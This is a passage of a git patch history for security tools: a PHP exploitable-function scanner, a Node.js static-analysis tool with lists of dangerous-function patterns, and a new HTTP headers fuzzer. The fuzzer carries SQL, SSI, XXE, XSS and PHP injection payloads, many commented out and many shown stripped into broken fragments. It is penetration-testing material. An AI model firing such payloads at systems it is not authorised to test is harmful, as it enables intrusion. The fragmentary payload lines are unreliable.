verbose, total) for refl in pefdefs.reflectedProperties: - if refl in line: - self.header_printed = self.header_print( - f.name, self.header_printed) - total += 1 - self.print_code_line(l, i, refl, prev_line, next_line, - prev_prev_line, next_next_line, self.severity, - verbose) + total = self.analyse_line(l, i, refl, f, line, prev_line, + next_line, prev_prev_line, next_next_line, verbose, total) if sql == True: for refl in pefdefs.otherPatterns: - p = re.compile(refl) - if p.search(l): - self.header_printed = self.header_print( - f.name, self.header_printed) - total += 1 - self.print_code_line(l, i, refl, prev_line, next_line, - prev_prev_line, next_next_line, self.severity, - verbose) + total = self.analyse_line(l, i, refl, f, line, prev_line, + next_line, prev_prev_line, next_next_line, verbose, total) if total < 1: pass From 05f0970e4e09453ee54fbb431d8fe128774b526c Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sat, 3 Aug 2019 22:47:11 -0400 Subject: [PATCH 107/460] basic exception handling [pef.py] --- pef/pef.py | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index a0ae4c0..3d7bf78 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -277,9 +277,13 @@ def run(self): pattern = args.pattern.split(',') if args.pattern else [] filename = args.file - # main orutine starts here - engine = PefEngine(args.recursive, verbose, - critical, sql, filename, pattern) - engine.run() - - exit(0) + try: + # main orutine starts here + engine = PefEngine(args.recursive, verbose, + critical, sql, filename, pattern) + engine.run() + except Exception as e: + print "Unexpected error:" + print type(e) + print e.args + print e From e51b15d27557d0bb43b05bf902a330cf9468ac14 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 4 Aug 2019 00:00:18 -0400 Subject: [PATCH 108/460] basic exception handling [pef.py] --- pef/pef.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/pef/pef.py b/pef/pef.py index 3d7bf78..44a39c3 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -287,3 +287,9 @@ def run(self): print type(e) print e.args print e + finally: + ### cleaning up + + ### exiting + print "[+] Done" + exit(0) \ No newline at end of file From 543330e30a8d612962896b8575666fbc739109ab Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 5 Aug 2019 00:13:03 -0400 Subject: [PATCH 109/460] move to Python 3 [pef.py] --- pef/pef.py | 122 ++++++++++++++++++++++++++--------------------------- 1 file changed, 61 insertions(+), 61 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 44a39c3..5e09b5f 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/bin/env python3 # # PHP Exploitable Functions/Vars Scanner # bl4de | bloorq@gmail.com | Twitter: @_bl4de @@ -24,10 +24,11 @@ def banner(): """ Prints welcome banner with contact info """ - print beautyConsole.getColor("green") + "\n\n", "-" * 100 - print "-" * 6, " PEF | PHP Exploitable Functions scanner", " " * 35, "-" * 16 - print "-" * 6, " GitHub: bl4de | Twitter: @_bl4de | bloorq@gmail.com ", " " * 22, "-" * 16 - print "-" * 100, "\33[0m\n" + print(beautyConsole.getColor("green") + "\n\n", "-" * 100) + print("-" * 6, " PEF | PHP Exploitable Functions scanner", " " * 35, "-" * 16) + print("-" * 6, " GitHub: bl4de | Twitter: @_bl4de | bloorq@gmail.com ", + " " * 22, "-" * 16) + print("-" * 100, "\33[0m\n") class PefEngine: @@ -63,8 +64,8 @@ def header_print(self, file_name, header_print): prints file header """ if self.header_printed == False: - print beautyConsole.getColor("white") + "-" * 100 - print "FILE: \33[33m%s\33[0m " % os.path.realpath(file_name), "\n" + print(beautyConsole.getColor("white") + "-" * 100) + print("FILE: \33[33m%s\33[0m " % os.path.realpath(file_name), "\n") self.header_printed = True return self.header_printed @@ -80,7 +81,7 @@ def analyse_line(self, l, i, fn, f, line, prev_line, next_line, prev_prev_line, fn = " {}".format(fn) # also, it has to checked agains @ at the beginning of the function name # @ prevents from output being echoed - + if fn in line or atfn in line: self.header_printed = self.header_print( f.name, self.header_printed) @@ -90,7 +91,6 @@ def analyse_line(self, l, i, fn, f, line, prev_line, next_line, prev_prev_line, verbose) return total - def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity={}, verbose=False): """ prints formatted code line @@ -102,10 +102,10 @@ def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_li } if verbose == True: - print " line %d :: \33[33;1m%s\33[0m " % (i, fn) + print(" line %d :: \33[33;1m%s\33[0m " % (i, fn)) else: - print "{}line {} :: {}{} ".format(beautyConsole.getColor( - "white"), i, beautyConsole.getColor("grey"), _line.strip()) + print("{}line {} :: {}{} ".format(beautyConsole.getColor( + "white"), i, beautyConsole.getColor("grey"), _line.strip())) # print legend only if there i sentry in pefdocs.py if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): @@ -116,12 +116,12 @@ def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_li vuln_class = pefdocs.exploitableFunctionsDesc.get(fn.strip())[2] if verbose == True: - print "\n {}{}{}".format(beautyConsole.getColor( - "white"), description, beautyConsole.getSpecialChar("endline")) - print " {}{}{}".format(beautyConsole.getColor( - "grey"), syntax, beautyConsole.getSpecialChar("endline")) - print " Potential impact: {}{}{}".format(beautyConsole.getColor( - impact_color[impact]), vuln_class, beautyConsole.getSpecialChar("endline")) + print("\n {}{}{}".format(beautyConsole.getColor( + "white"), description, beautyConsole.getSpecialChar("endline"))) + print(" {}{}{}".format(beautyConsole.getColor( + "grey"), syntax, beautyConsole.getSpecialChar("endline"))) + print(" Potential impact: {}{}{}".format(beautyConsole.getColor( + impact_color[impact]), vuln_class, beautyConsole.getSpecialChar("endline"))) if impact not in severity.keys(): severity[impact] = 1 @@ -129,22 +129,22 @@ def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_li severity[impact] = severity[impact] + 1 if verbose == True: - print "\n" + print("\n") if prev_prev_line: - print str(i-2) + " " + beautyConsole.getColor("grey") + prev_prev_line + \ - beautyConsole.getSpecialChar("endline") + print(str(i-2) + " " + beautyConsole.getColor("grey") + prev_prev_line + + beautyConsole.getSpecialChar("endline")) if prev_line: - print str(i-1) + " " + beautyConsole.getColor("grey") + prev_line + \ - beautyConsole.getSpecialChar("endline") - print str(i) + " " + beautyConsole.getColor("green") + _line.rstrip() + \ - beautyConsole.getSpecialChar("endline") + print(str(i-1) + " " + beautyConsole.getColor("grey") + prev_line + + beautyConsole.getSpecialChar("endline")) + print(str(i) + " " + beautyConsole.getColor("green") + _line.rstrip() + + beautyConsole.getSpecialChar("endline")) if next_line: - print str(i+1) + " " + beautyConsole.getColor("grey") + next_line + \ - beautyConsole.getSpecialChar("endline") + print(str(i+1) + " " + beautyConsole.getColor("grey") + next_line + + beautyConsole.getSpecialChar("endline")) if next_next_line: - print str(i+2) + " " + beautyConsole.getColor("grey") + next_next_line + \ - beautyConsole.getSpecialChar("endline") - print "\n" + print(str(i+2) + " " + beautyConsole.getColor("grey") + next_next_line + + beautyConsole.getSpecialChar("endline")) + print("\n") return def main(self, src): @@ -180,36 +180,36 @@ def main(self, src): if self.critical: for fn in pefdefs.critical: total = self.analyse_line(l, i, fn, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) + next_line, prev_prev_line, next_next_line, verbose, total) else: for fn in (self.pattern if self.pattern else pefdefs.exploitableFunctions): total = self.analyse_line(l, i, fn, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) + next_line, prev_prev_line, next_next_line, verbose, total) if self.critical == False and not self.pattern: for dp in pefdefs.fileInclude: total = self.analyse_line(l, i, dp, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) + next_line, prev_prev_line, next_next_line, verbose, total) for globalvars in pefdefs.globalVars: total = self.analyse_line(l, i, globalvars, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) + next_line, prev_prev_line, next_next_line, verbose, total) for refl in pefdefs.reflectedProperties: total = self.analyse_line(l, i, refl, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) + next_line, prev_prev_line, next_next_line, verbose, total) if sql == True: for refl in pefdefs.otherPatterns: total = self.analyse_line(l, i, refl, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) + next_line, prev_prev_line, next_next_line, verbose, total) if total < 1: pass else: - print beautyConsole.getColor("red") + \ - "Found %d interesting entries\n" % (total) + \ - beautyConsole.getSpecialChar("endline") + print(beautyConsole.getColor("red") + + "Found %d interesting entries\n" % (total) + + beautyConsole.getSpecialChar("endline")) return total # return how many findings in current file @@ -227,24 +227,24 @@ def run(self): self.scanned_files = self.scanned_files + 1 self.found_entries = self.main(self.filename) - print beautyConsole.getColor("white") + "-" * 100 + print(beautyConsole.getColor("white") + "-" * 100) - print beautyConsole.getColor("green") - print "\n>>> {} file(s) scanned".format(self.scanned_files) + print(beautyConsole.getColor("green")) + print("\n>>> {} file(s) scanned".format(self.scanned_files)) if self.found_entries > 0: - print "{}>>> {} interesting entries found\n".format( - beautyConsole.getColor("red"), self.found_entries) + print("{}>>> {} interesting entries found\n".format( + beautyConsole.getColor("red"), self.found_entries)) else: - print " No interesting entries found :( \n" + print(" No interesting entries found :( \n") - print "{}==> {}:\t {}".format( - beautyConsole.getColor("red"), "HIGH", self.severity.get("high")) - print "{}==> {}:\t {}".format(beautyConsole.getColor( - "yellow"), "MEDIUM", self.severity.get("medium")) - print "{}==> {}:\t {}".format(beautyConsole.getColor( - "green"), "LOW", self.severity.get("low")) + print("{}==> {}:\t {}".format( + beautyConsole.getColor("red"), "HIGH", self.severity.get("high"))) + print("{}==> {}:\t {}".format(beautyConsole.getColor( + "yellow"), "MEDIUM", self.severity.get("medium"))) + print("{}==> {}:\t {}".format(beautyConsole.getColor( + "green"), "LOW", self.severity.get("low"))) - print "\n" + print("\n") # main program @@ -280,16 +280,16 @@ def run(self): try: # main orutine starts here engine = PefEngine(args.recursive, verbose, - critical, sql, filename, pattern) + critical, sql, filename, pattern) engine.run() except Exception as e: - print "Unexpected error:" - print type(e) - print e.args - print e + print("Unexpected error:") + print(type(e)) + print(e.args) + print(e) finally: - ### cleaning up + # cleaning up - ### exiting - print "[+] Done" - exit(0) \ No newline at end of file + # exiting + print("[+] Done") + exit(0) From 117bc7efb38fe26a12269f93e29420b877abfb28 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 5 Aug 2019 00:38:27 -0400 Subject: [PATCH 110/460] added brackets to first print() before moving to Python 3 [nodestructor] --- nodestructor/nodestructor.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index bb0968b..6057d3c 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -160,7 +160,7 @@ def show_banner(): """ Prints welcome banner with contact info """ - print beautyConsole.getColor("cyan") + print (beautyConsole.getColor("cyan")) print BANNER print beautyConsole.getColor("white") From 7e08a3a7bf408e3040306e53c6f7b60fcda755a7 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 5 Aug 2019 20:01:35 -0300 Subject: [PATCH 111/460] fix for constructor() pattern [nodestructor] --- nodestructor/nodestructor.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 6057d3c..5d211c4 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -60,7 +60,7 @@ # ".*setInterval\(", ".*setImmediate\(", ".*newBuffer\(", - ".*constructor\(" + ".*\.constructor\(" ] NPM_PATTERNS = [ From 13af2e7cdd9ef5f9f880d716a04cc7c5f1312e97 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 13 Aug 2019 16:27:19 +0100 Subject: [PATCH 112/460] refactoring; move from Python2 to Python3 [nodestructor] --- nodestructor/nodestructor.py | 255 ++++++++++++++++++----------------- 1 file changed, 131 insertions(+), 124 deletions(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 5d211c4..d21dcb8 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -1,10 +1,11 @@ -#!/usr/bin/python +#!/usr/bin/env python3 # # nodestructor # Node.js application static code analysis tool # # bl4de | bloorq@gmail.com | Twitter: @_bl4de -# +## pylint: disable=W1401 +## pylint: disable=C """ nodestructor.py - static code analysis for Node.js applications by bl4de @@ -18,7 +19,7 @@ from imports.beautyConsole import beautyConsole -BANNER = """ +banner = r""" ( ) ) )\ ) ( ( /( ( ( ( /( ( @@ -40,7 +41,7 @@ $ ./nodestructor -R ./node_modules --pattern="obj.dangerousFn\(" """ -NODEJS_PATTERNS = [ +nodejs_patterns = [ ".*url.parse\(", ".*[pP]ath.normalize\(", ".*fs.*File.*\(", @@ -63,13 +64,13 @@ ".*\.constructor\(" ] -NPM_PATTERNS = [ +npm_patterns = [ ".*serialize\(", ".*unserialize\(" ] -BROWSER_PATTERNS = [ - ".*URLSearchParams\(", +browser_patterns = [ + ".*urlsearchParams\(", ".*innerHTML", ".*innerText", ".*textContent", @@ -127,104 +128,107 @@ ".*\.SafeString\(" ] -URL_REGEX = re.compile("(https|http):\/\/[a-zA-Z0-9#=\-\?\&\/\.]+") -URLS = [] +url_regex = re.compile("(https|http):\/\/[a-zA-Z0-9#=\-\?\&\/\.]+") +urls = [] -PATTERNS = NODEJS_PATTERNS + NPM_PATTERNS -TOTAL_FILES = 0 -PATTERNS_IDENTIFIED = 0 -FILES_WITH_IDENTIFIED_PATTERNS = 0 +patterns = nodejs_patterns + npm_patterns +total_files = 0 +patterns_identified = 0 +files_with_identified_patterns = 0 # some files not to loking in: -EXTENSIONS_TO_IGNORE = ['md', 'txt', 'map', 'jpg', 'png'] -MINIFIED_EXT = ['.min.js'] +extensions_to_ignore = ['md', 'txt', 'map', 'jpg', 'png'] +minified_ext = ['.min.js'] SKIP_ALWAYS = ['package.json', 'README.md'] TEST_FILES = ['test.js', 'tests.js'] -SKIP_NODE_MODULES = False -SKIP_TEST_FILES = False -IDENTIFY_URLS = False -EXCLUDE = [] -EXCLUDE_ALWAYS = ['babel', 'lodash', 'ansi', 'array', 'core-util', '.bin', +skip_node_modules = False +skip_test_files = False +identify_urls = False +exclude = [] +exclude_always = ['babel', 'lodash', 'ansi', 'array', 'core-util', '.bin', 'babylon', 'next-tick', 'core-js', 'es5', 'es6', 'convert-source-map', 'source-map-', 'mime', 'to-fast-properties', 'json5', 'async', 'http-proxy', 'mkdirp', 'loose-envify', '.git', '.idea'] -INCLUDE = [] -PATTERN = "" -EXCLUDE_PATTERNS = [] +include = [] +pattern = "" +EXCLUDE_patterns = [] def show_banner(): """ Prints welcome banner with contact info """ - print (beautyConsole.getColor("cyan")) - print BANNER - print beautyConsole.getColor("white") + global banner + print(beautyConsole.getColor("cyan")) + print(banner) + print(beautyConsole.getColor("white")) -def printcodeline(_line, i, _fn, _message, _code=[]): +def printcodeline(_line, i, _fn, _message, _code, verbose): """ Formats and prints line of output """ _fn = _fn.replace("*", "").replace("\\", "").replace(".(", '(')[0:len(_fn)] - print "\n:: line %d :: \33[33;1m%s\33[0m %s \n" % (i, _fn, _message) - - if i > 3: - print str(i - 3) + ' ' + beautyConsole.getColor("grey") + _code[i-3].rstrip() + \ - beautyConsole.getSpecialChar("endline") - if i > 2: - print str(i - 2) + ' ' + beautyConsole.getColor("grey") + _code[i-2].rstrip() + \ - beautyConsole.getSpecialChar("endline") - - print str(i) + ' ' + beautyConsole.getColor("green") + _line.rstrip() + \ - beautyConsole.getSpecialChar("endline") - - if i < len(_code) - 1: - print str(i + 1) + ' ' + beautyConsole.getColor("grey") + _code[i+1].rstrip() + \ - beautyConsole.getSpecialChar("endline") - if i < len(_code) - 2: - print str(i + 2) + ' ' + beautyConsole.getColor("grey") + _code[i+2].rstrip() + \ - beautyConsole.getSpecialChar("endline") - - -def process_files(subdirectory, sd_files, pattern=""): + print(":: line %d :: \33[33;1m%s\33[0m %s " % (i, _fn, _message)) + + if verbose: + if i > 3: + print(str(i - 3) + ' ' + beautyConsole.getColor("grey") + _code[i-3].rstrip() + + beautyConsole.getSpecialChar("endline")) + if i > 2: + print(str(i - 2) + ' ' + beautyConsole.getColor("grey") + _code[i-2].rstrip() + + beautyConsole.getSpecialChar("endline")) + + print(str(i) + ' ' + beautyConsole.getColor("green") + _line.rstrip() + + beautyConsole.getSpecialChar("endline")) + + if i < len(_code) - 1: + print(str(i + 1) + ' ' + beautyConsole.getColor("grey") + _code[i+1].rstrip() + + beautyConsole.getSpecialChar("endline")) + if i < len(_code) - 2: + print(str(i + 2) + ' ' + beautyConsole.getColor("grey") + _code[i+2].rstrip() + + beautyConsole.getSpecialChar("endline")) + + +def process_files(subdirectory, sd_files, pattern="", verbose=False): """ recursively iterates ofer all files and checks those which meet criteria set by options only """ - global TOTAL_FILES + global total_files for __file in sd_files: current_filename = os.path.join(subdirectory, __file) - if (current_filename[-3:] not in EXTENSIONS_TO_IGNORE + if (current_filename[-3:] not in extensions_to_ignore and current_filename not in SKIP_ALWAYS - and current_filename[-2:] not in EXTENSIONS_TO_IGNORE - and current_filename[-7:] not in MINIFIED_EXT): + and current_filename[-2:] not in extensions_to_ignore + and current_filename[-7:] not in minified_ext): - if not '/node_modules/' in subdirectory or ('/node_modules/' in subdirectory and SKIP_NODE_MODULES is False): - if (SKIP_TEST_FILES is False): - perform_code_analysis(current_filename, pattern) - TOTAL_FILES = TOTAL_FILES + 1 + if not '/node_modules/' in subdirectory or ('/node_modules/' in subdirectory and skip_node_modules is False): + if (skip_test_files is False): + perform_code_analysis(current_filename, pattern, verbose) + total_files = total_files + 1 else: if __file not in TEST_FILES and "/test" not in current_filename and "/tests" not in current_filename: - perform_code_analysis(current_filename, pattern) - TOTAL_FILES = TOTAL_FILES + 1 + perform_code_analysis( + current_filename, pattern, verbose) + total_files = total_files + 1 -def perform_code_analysis(src, pattern=""): +def perform_code_analysis(src, pattern="", verbose=False): """ performs code analysis, line by line """ - global PATTERNS_IDENTIFIED - global FILES_WITH_IDENTIFIED_PATTERNS - global PATTERNS + global patterns + global patterns_identified + global files_with_identified_patterns - # if -P / --pattern is defined, overwrite PATTERNS with user defined + # if -P / --pattern is defined, overwrite patterns with user defined # value(s) if pattern: - PATTERNS = [".*" + pattern] + patterns = [".*" + pattern] print_filename = True @@ -236,32 +240,33 @@ def perform_code_analysis(src, pattern=""): for _line in _code: i += 1 __line = _line.strip() - for __pattern in PATTERNS: + for __pattern in patterns: __rex = re.compile(__pattern) if __rex.match(__line.replace(' ', '')): if print_filename: - FILES_WITH_IDENTIFIED_PATTERNS = FILES_WITH_IDENTIFIED_PATTERNS + 1 - print "FILE: \33[33m{}\33[0m\n".format(src) + files_with_identified_patterns = files_with_identified_patterns + 1 + print("FILE: \33[33m{}\33[0m\n".format(src)) print_filename = False patterns_found_in_file += 1 printcodeline(_line, i, __pattern, - ' code pattern identified: ', _code) + ' code pattern identified: ', _code, verbose) # URL searching - if IDENTIFY_URLS == True: - if URL_REGEX.search(__line): - __url = URL_REGEX.search(__line).group(0) + if identify_urls == True: + if url_regex.search(__line): + __url = url_regex.search(__line).group(0) # show each unique URL only once - if __url not in URLS: - printcodeline(__url, i, __url, ' URL found: ', _code) - URLS.append(__url) + if __url not in urls: + printcodeline(__url, i, __url, + ' URL found: ', _code, verbose) + urls.append(__url) if patterns_found_in_file > 0: - PATTERNS_IDENTIFIED = PATTERNS_IDENTIFIED + patterns_found_in_file - print beautyConsole.getColor("red") + \ - "\nIdentified %d code pattern(s)\n" % (patterns_found_in_file) + \ - beautyConsole.getSpecialChar("endline") - print beautyConsole.getColor("white") + "-" * 100 + patterns_identified = patterns_identified + patterns_found_in_file + print(beautyConsole.getColor("red") + + "\nIdentified %d code pattern(s)\n" % (patterns_found_in_file) + + beautyConsole.getSpecialChar("endline")) + print(beautyConsole.getColor("white") + "-" * 100) # main program @@ -271,71 +276,73 @@ def perform_code_analysis(src, pattern=""): parser = argparse.ArgumentParser() parser.add_argument("filename", help="Specify a file or directory to scan") parser.add_argument( - "-R", "--recursive", help="check files recursively", action="store_true") + "-r", "--recursive", help="check files recursively", action="store_true") + parser.add_argument( + "-v", "--verbose", help="verbose output - show code before/after vulnerable line", action="store_true") parser.add_argument( - "-E", "--exclude", help="comma separated list of packages to exclude from scanning (eg. babel excludes ALL packages with babel in name, like babel-register, babel-types etc.") + "-e", "--exclude", help="comma separated list of packages to exclude from scanning (eg. babel excludes ALL packages with babel in name, like babel-register, babel-types etc.") parser.add_argument( - "-I", "--include", help="comma separated list of selected packages for scanning. Might be useful in projects where there are hundreds of dependiences and only some of them needs to be processed") + "-i", "--include", help="comma separated list of selected packages for scanning. Might be useful in projects where there are hundreds of dependiences and only some of them needs to be processed") parser.add_argument( - "-S", "--skip-node-modules", help="when scanning recursively, do not scan ./node_modules folder", action="store_true") + "-s", "--skip-node-modules", help="when scanning recursively, do not scan ./node_modules folder", action="store_true") parser.add_argument( - "-T", "--skip-test-files", help="when scanning recursively, do not check test files (usually test.js)", action="store_true") + "-t", "--skip-test-files", help="when scanning recursively, do not check test files (usually test.js)", action="store_true") parser.add_argument( - "-H", "--include-html-patterns", help="include HTML patterns, like 0: - print beautyConsole.getColor("red") - print "Identified {} code pattern(s) in {} file(s)".format( - PATTERNS_IDENTIFIED, FILES_WITH_IDENTIFIED_PATTERNS) + print(beautyConsole.getColor("cyan")) + print(" {} file(s) scanned in total".format(total_files)) + if patterns_identified > 0: + print(beautyConsole.getColor("red")) + print("Identified {} code pattern(s) in {} file(s)".format( + patterns_identified, files_with_identified_patterns)) else: - print beautyConsole.getColor( - "green"), "No code pattern identified" - print beautyConsole.getColor("white") + print(beautyConsole.getColor("green"), "No code pattern identified") + print(beautyConsole.getColor("white")) From f0c318732db78cc377ee2a0481d64a2cda804164 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 15 Aug 2019 08:37:38 +0100 Subject: [PATCH 113/460] HTTP headers fuzzer (new tool) --- http_headers_fuzzer/http_headers_fuzzer.py | 15 +++++++++++++++ http_headers_fuzzer/requirements.txt | 1 + 2 files changed, 16 insertions(+) create mode 100755 http_headers_fuzzer/http_headers_fuzzer.py create mode 100644 http_headers_fuzzer/requirements.txt diff --git a/http_headers_fuzzer/http_headers_fuzzer.py b/http_headers_fuzzer/http_headers_fuzzer.py new file mode 100755 index 0000000..cdb6610 --- /dev/null +++ b/http_headers_fuzzer/http_headers_fuzzer.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python3 + +### HTTP headers fuzzer +# args: url +import requests +import sys + + +def fuzz(u): + print("[+] Fuzzing {}...".format(u)) + return + +if __name__ == '__main__': + u = sys.argv[1] + fuzz(u) \ No newline at end of file diff --git a/http_headers_fuzzer/requirements.txt b/http_headers_fuzzer/requirements.txt new file mode 100644 index 0000000..566083c --- /dev/null +++ b/http_headers_fuzzer/requirements.txt @@ -0,0 +1 @@ +requests==2.22.0 From b7dea4751d9642ad34dc461a5ad32b74c4147025 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 16 Aug 2019 16:39:27 +0100 Subject: [PATCH 114/460] HTTP fuzzer basic functionality --- http_headers_fuzzer/http_headers_fuzzer.py | 205 ++++++++++++++++++++- 1 file changed, 199 insertions(+), 6 deletions(-) diff --git a/http_headers_fuzzer/http_headers_fuzzer.py b/http_headers_fuzzer/http_headers_fuzzer.py index cdb6610..8c57ac5 100755 --- a/http_headers_fuzzer/http_headers_fuzzer.py +++ b/http_headers_fuzzer/http_headers_fuzzer.py @@ -1,15 +1,208 @@ #!/usr/bin/env python3 -### HTTP headers fuzzer +# HTTP headers fuzzer # args: url import requests import sys +import os +logfile = open('fuzzer.log', 'w') + +payloads = [ + { + "Host": sys.argv[1], + "Content-Type": "text/plain", + "User-Agent": "HTTP Fuzzer", + "Accept": "*.*" + }, + { + "Host": sys.argv[1], + "Content-Type": "application/xml", + "User-Agent": "", + "Accept": "*.*" + }, + { + "Host": sys.argv[1], + "Content-Type": "application/json", + "Accept": "*.*", + "User-Agent": "';", + }, + # { + # "Host": sys.argv[1], + # "Content-Type": "image/jpeg", + # "Accept": "*.*", + # "User-Agent": '";-- - ' + # } +] + +postdata = [ + # text/plain +"some random string", + # application/x-www-form-urlencoded +"foo=bar&debug=true", + # application/xml + r""" + + + +Gambardella, Matthew +XML Developer's Guide +Computer +44.95 +2000-10-01 +An in-depth look at creating applications +with XML. + + + """, + # application/json + r""" +{"id":"10", "username":"admin","token":"somerandomtoken"} + """, + # some SSI + r""" +
+
 
+
+
+ + + + + + + + + + + + + + + + + + """, +# r""" +# var n=0;while(true){n++;}]]> +# SCRIPT]]>alert('gotcha');/SCRIPT]]> +# +# ]>&xee; +# ]>&xee; +# ]>&xee; +# ]>&xee; +# +# ]> +# +# ]> +# "]]>" +# "cript:alert('XSS')"">" +# "" +# "XSS" +# ','')); phpinfo(); exit;/* + +# """, + # XXE +# r""" +# +# +# ]> +# ]>&foo; +# ]> +# ]>&foo; +# +# ]>&xxe; +# ]> +# ]>&xxe; +# ]> +# ]>&xxe; +# ]> +# ]>&xxe; +# ]> +# ]>&xxe; +# ]> +# ]>&xxe; +# +# ]]> +# &foo; +# %foo; +# count(/child::node()) +# x' or name()='username' or 'x'='y +# ','')); phpinfo(); exit;/* +# var n=0;while(true){n++;}]]> +# SCRIPT]]>alert('XSS');/SCRIPT]]> +# SCRIPT]]>alert('XSS');/SCRIPT]]> +# SCRIPT]]>alert('XSS');/SCRIPT]]> +# +# +# ]]> +# <IMG SRC="javascript:alert('XSS')"> +# +# +# +# XSS +# +# +# +# +# ]> +# ]> +# ]> +# ]> +# ]> +# "> %int; +# "> +# %dtd;%trick;]> +# %dtd;%trick;]> +# %dtd;]>]]> +# """ +] + + +def pretty_response_print(method, url, response): + print("{} {}\t\t HTTP {}: size: {}".format( + method, url, response.status_code, response.headers['Content-Length'])) + logfile.write('RESPONSE HEADERS:\n{}\nRESPONSE BODY:\n{}\n{}\n\n'.format( + response.headers.__str__(), response.text, '-' * 120)) + + +def send_request_with_method(method, url, payload): + http_url = "http://{}".format(url) + https_url = "https://{}".format(url) + if method == 'GET': + data = '' + logfile.write('########## {} --> {}\nREQUEST HEADERS: {}\nREQUEST BODY: {}\n\n'.format(method, + http_url, payload.__str__(), data.__str__())) + pretty_response_print(method, http_url, requests.get( + http_url, headers=payload, allow_redirects=False)) + + logfile.write('########## {} --> {}\nREQUEST HEADERS: {}\nREQUEST BODY: {}\n\n'.format(method, + https_url, payload.__str__(), data.__str__())) + pretty_response_print(method, https_url, requests.get( + https_url, headers=payload, allow_redirects=False)) + + if method == 'POST': + for data in postdata: + logfile.write('########## {} --> {}\nREQUEST HEADERS: {}\nREQUEST BODY: {}\n\n'.format(method, + http_url, payload.__str__(), data.__str__())) + pretty_response_print(method, http_url, requests.post( + http_url, headers=payload, data=data, allow_redirects=False)) + + logfile.write('########## {} --> {}\nREQUEST HEADERS: {}\nREQUEST BODY: {}\n\n'.format(method, + https_url, payload.__str__(), data.__str__())) + pretty_response_print(method, https_url, requests.post( + http_url, headers=payload, data=data, allow_redirects=False)) + + +def fuzz(url): + print("[+] Fuzzing {}...".format(url)) + + for payload in payloads: + send_request_with_method('GET', url, payload) + send_request_with_method('POST', url, payload) -def fuzz(u): - print("[+] Fuzzing {}...".format(u)) - return if __name__ == '__main__': - u = sys.argv[1] - fuzz(u) \ No newline at end of file + fuzz(sys.argv[1]) + logfile.close() From 536de19f2f676a637ed86e30fb67854aed752d48 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 26 Aug 2019 16:01:31 +0100 Subject: [PATCH 115/460] fix --verbose flag for single file [nodestructor] --- nodestructor/nodestructor.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index d21dcb8..3716e5c 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -306,11 +306,11 @@ def perform_code_analysis(src, pattern="", verbose=False): exclude = [e for e in args.exclude.split( ',')] + exclude_always if args.exclude else exclude_always include = [i for i in args.include.split(',')] if args.include else [] - verbose = args.verbose skip_node_modules = args.skip_node_modules skip_test_files = args.skip_test_files identify_urls = args.include_urls + verbose = args.verbose if args.include_browser_patterns: patterns = patterns + browser_patterns @@ -329,7 +329,7 @@ def perform_code_analysis(src, pattern="", verbose=False): if (s_filename[-3:] not in extensions_to_ignore and s_filename[-2:] not in extensions_to_ignore and s_filename[-7:] not in minified_ext): - perform_code_analysis(s_filename, pattern) + perform_code_analysis(s_filename, pattern, verbose) total_files = total_files + 1 except Exception as ex: From ea6872a06f04881b4a4f6e78365d1fe84610f533 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 28 Aug 2019 17:10:03 +0100 Subject: [PATCH 116/460] remove 'extensions_to_ignore' - by default check only files with .js extension [nodestructor] --- nodestructor/nodestructor.py | 95 ++++++++++++++++-------------------- 1 file changed, 43 insertions(+), 52 deletions(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 3716e5c..ecead64 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -4,8 +4,8 @@ # Node.js application static code analysis tool # # bl4de | bloorq@gmail.com | Twitter: @_bl4de -## pylint: disable=W1401 -## pylint: disable=C +# pylint: disable=W1401 +# pylint: disable=C """ nodestructor.py - static code analysis for Node.js applications by bl4de @@ -20,19 +20,19 @@ banner = r""" - - ( ) ) - )\ ) ( ( /( ( ( ( /( ( - ( ( (()/( ))\ ( )\()))( ))\ ( )\()) ( )( - )\ ) )\ 